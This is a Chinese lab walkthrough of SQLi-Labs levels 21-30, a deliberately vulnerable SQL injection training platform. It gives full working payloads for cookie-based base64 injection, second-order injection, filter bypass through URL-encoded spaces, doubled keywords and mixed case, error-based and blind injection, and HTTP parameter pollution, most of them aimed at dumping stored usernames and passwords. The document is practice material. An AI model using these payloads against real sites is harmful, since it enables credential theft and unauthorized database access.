sql-lib闯关21-30
第二十一关
base64编码,单引号,报错型,cookie型注入。
本关和less-20相似,只是cookie的uname值经过base64编码了,下图为我们输入万能密码显示
uname = YWRtaW4=,uname显然是base64加密过的,解码得到:admin,就是刚才登陆的uname,所以猜测:本题在cookie处加密了字符串,
经过转码验证确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。
给大家一个转码网站https://tool.oschina.net/encrypt?type=3
获取版本库名(我们只要转码就可以了)当然要先确认cookie后面的构造,通过测试是单引号括号闭合')
爆库
最后获得用户名密码,中间步骤不再一一截图,里面的语句和第一关一样
爆用户名密码
-admin') union select 1,2,group_concat(username,0x3a,password) from users#=
第二十二关
这一关还是输入用户名密码先试试,发现和21关一样
还是那个步骤先试试是啥闭合方式,发现是双引号闭合,步骤和21关类似,我直接爆用户名密码
语句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=
base64码 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g
第二十三关
进入界面我们发现不能用万能密码了,需要手工注入
这道题不看php文件我们会感觉无从下手,查看php文件发现原来他把我的# --+注释符号给过滤掉了
看到替换了能用的注释符,所以我们构造闭合语句:
?id=' union select 1,13,database() '
爆表
爆列
爆用户名密码
第二十四关
刚进这个页面会有点懵
这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
注册
登陆
修改密码
再用admin 密码123456登陆进来 注入成功
第二十五关
这关一上来好像就告诉我们不能用and喝or进行注入,那咱就不用了,接下来有二种方法(具体步骤不再截图)
第一种方法,用--+ #这种普通注入 ?id=-1' union select 1,13,database()--+
第二种方法双写or和and,因为它过滤一个,我们就让过滤后的东西再组成一个 ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
第二十五a关
这关是盲注,只是不回显了的不用and和or,而且我测试发现这关是数字型注入也就是说没有引号
那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and
不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。
我们可以采用联合注入
时间注入这关也可
第二十六关
咱直接看它的php文件吧,越到后面越难了,看完之后沧桑了不少,这是直接来了个过滤大套餐啊,咋办嘞?我们用URL编码
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%27单引号
用'1'='1进行闭合(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)
确定显示位 ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
爆库名 ?id=0'union%a0select%a01,database(),3%26%26'1'='1
查表名
?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1
爆列名
?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
爆用户名密码
?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(这里不同的是后面多了where
'1'='1,是为了让语句变成无约束查询)
还有一种就是用连接符结合上几天xpath报错获取信息来获取信息 ?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'
第二十六a关
这关与上一关的区别在于,在后面加上了括号进行闭合,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入
获取数据库名 ?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
爆表名
?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
爆列名 ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
爆用户名密码 ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
第二十七关
总感觉这关应该是上一关的进化版
发现过滤空格
发现过滤关键字
所以我们就用URL编码和大小写进行绕过,其他和上一关一样
爆库名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表名
?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆列名
?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
爆用户名密码 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
获得用户名密码
第二十七a关
和第二十七关一样,就是把单引号变成双引号闭合了
?id=0"%A0or(1)=(1)%26%26%a0"1
获得数据库长度 ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
获得数据库名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
爆表名(查表面需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况)
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
爆列名
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
爆用户名密码 ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
获得用户名密码
第二十八关
这关在之前的技术上,加上了union和select的大小写也过滤了,都不能用了
我们直接用盲注,进行测试,一点一点试(其他的不赘述了)
得到数据库名 (用联合查询语句的方法) (过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换)
第二十八a关
上一关是单引号,那这一关按规律就是双引号了,试一下还真是
爆数据库名 ?id=0')UNion%a0SElect%a01,database(),('13')=('13
爆表名
?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('13')=('13
爆列名
?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('13')=('13
爆用户名和密码 ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('13')=('13
当然除了联合查询语句还可以 盲注 0')||left((database()),1)='s';%00
第二十九关
上来测试是双引号单引号,一般来说都是单引号下一关是双引号,这个是直接就是双引号,并且两个单引号也可以,那么语句可能是 select * from users where id='xx' limit 1,1
获得数据库名(union select 联合查询语句直接上,和之最开始前几关一样)(另外我发现#在这关不能用)
爆表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆用户名和密码 ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
另外还有别的方法
利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
?id=1&id=0'
union selEct 1,group_concat(schema_name),2 from
information_schema.schemata;%23利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
获得表名 ?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
第三十关
这关和上一关一样,就是把单引号换成了双引号
爆用户名密码 和上一关一样,也可以利用tomcat与apache解析相同请求参数不同的特性
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
21-30关结束
sql-lib闯关21-30的更多相关文章
- 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...
- python 闯关之路四(下)(并发编程与数据库编程) 并发编程重点
python 闯关之路四(下)(并发编程与数据库编程) 并发编程重点: 1 2 3 4 5 6 7 并发编程:线程.进程.队列.IO多路模型 操作系统工作原理介绍.线程.进程演化史.特点.区别 ...
- 2018年全国多校算法寒假训练营练习比赛(第一场)J - 闯关的lulu
链接:https://www.nowcoder.com/acm/contest/67/J来源:牛客网 题目描述 勇者lulu某天进入了一个高度10,000,000层的闯关塔,在塔里每到一层楼,他都会获 ...
- Pythonchallenge一起来闯关(二)
前情提要:Pythonchallenge一起来闯关(一) 这一篇来闯关10-15.感觉这几关比先前的难了不少,有的题目完全没思路. 10. 页面源码中的链接点击后有a = [1, 11, 21, 12 ...
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- 2018年全国多校算法寒假训练营练习比赛(第一场)闯关的lulu
闯关的lulu 链接:https://www.nowcoder.com/acm/contest/67/J 来源:牛客网 题目描述 勇者lulu某天进入了一个高度10,000,000层的闯关塔,在塔里每 ...
- 浅谈MySQL中优化sql语句查询常用的30种方法 - 转载
浅谈MySQL中优化sql语句查询常用的30种方法 1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引. 2.应尽量避免在 where 子句中使 ...
- <爬虫>黑板爬虫闯关02
import requests from lxml import etree ''' 黑板爬虫闯关02 网址:http://www.heibanke.com/lesson/crawler_ex01/ ...
- sql-lib闯关1-10关
闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) 1)字符型 ...
- 2017年1月4日 星期三 --出埃及记 Exodus 21:30
2017年1月4日 星期三 --出埃及记 Exodus 21:30 However, if payment is demanded of him, he may redeem his life by ...
随机推荐
- Welcome to Giyber Blog - LC的博客
"You can be the best! " 一切才刚开始 "不知道行不行,试试吧."抱着这样的理由,一个小白的成长记录,由此开始. 在 Mr.锤 的&quo ...
- Oracle Compute云快速搭建MySQL Keepalived高可用架构
最近有个客户在测试Oracle Compute云,他们的应用需要使用MySQL数据库,由于是企业级应用一定要考虑高可用架构,因此有需求要在Oracle Compute云上搭建MySQL高可用集群.客户 ...
- 如何通过学校系统漏洞注册到 @edu.cn 邮箱账号?
此文章仅针对我自己学校的系统进行分析,并不代表所有学校的系统都是如此. 我们学校比较"抠",可能是为了节省学校的带宽资源然后禁止学生注册教育邮箱账号.不过像一部电影所说的那样&qu ...
- WordPress 安装主题、插件时问题解决办法
--当能够在外网访问到自己的博客时,很多人都会很兴奋吧!如果环境是自己配置的,而不是用的集成环境肯定也会有点小小的成就感. --但是在我兴奋的时候遇到了个小麻烦,下载插件提示我输入FTP信任凭据,输了 ...
- symfony 5.05 dev安装为了更好的迭代更新
我的项目目录 安装命令 composer create-project symfony/website-skeleton:^5.0.x-dev manage 数据查询测试输出
- Dart的JIT 与 AOT
JIT:Just In Time AOT:Ahead of Time 含义: 目前,程序主要有两种运行方式:静态编译与动态解释. 静态编译的程序在执行前全部被翻译为机器码,通常将这种类型称为AOT ( ...
- Win32 按钮嵌套收不到消息解决记录
太长不看 SetWindowSubClass,然后 return DefSubclassProc(hWnd, uMsg, wParam, lParam);,不要有 WS_CHILD 这个 Style. ...
- 关于integer overflow错误
前端突然报了integer overflow错误,int类型溢出也就是数字超过了int类型,一看很懵逼,查看后台日期发现是在Math.toIntExact()方法报错 那么我们看下方法内部代码: /* ...
- javascript的constructor属性介绍
之前闲来了解了__proto__和prototype的区别,每个对象都有隐私属性__proto__,而prototype是javascript函数特有的属性.那么constructor属性呢?最近是遇 ...
- 跨域解决方案之CORS
什么情况表示遇到跨域请求 一般在前后端分离项目中,前端请求接口,浏览器控制台报如下错误 类似 No 'Access-Control-Allow-Origin' header 报错 为什么会有跨域请求 ...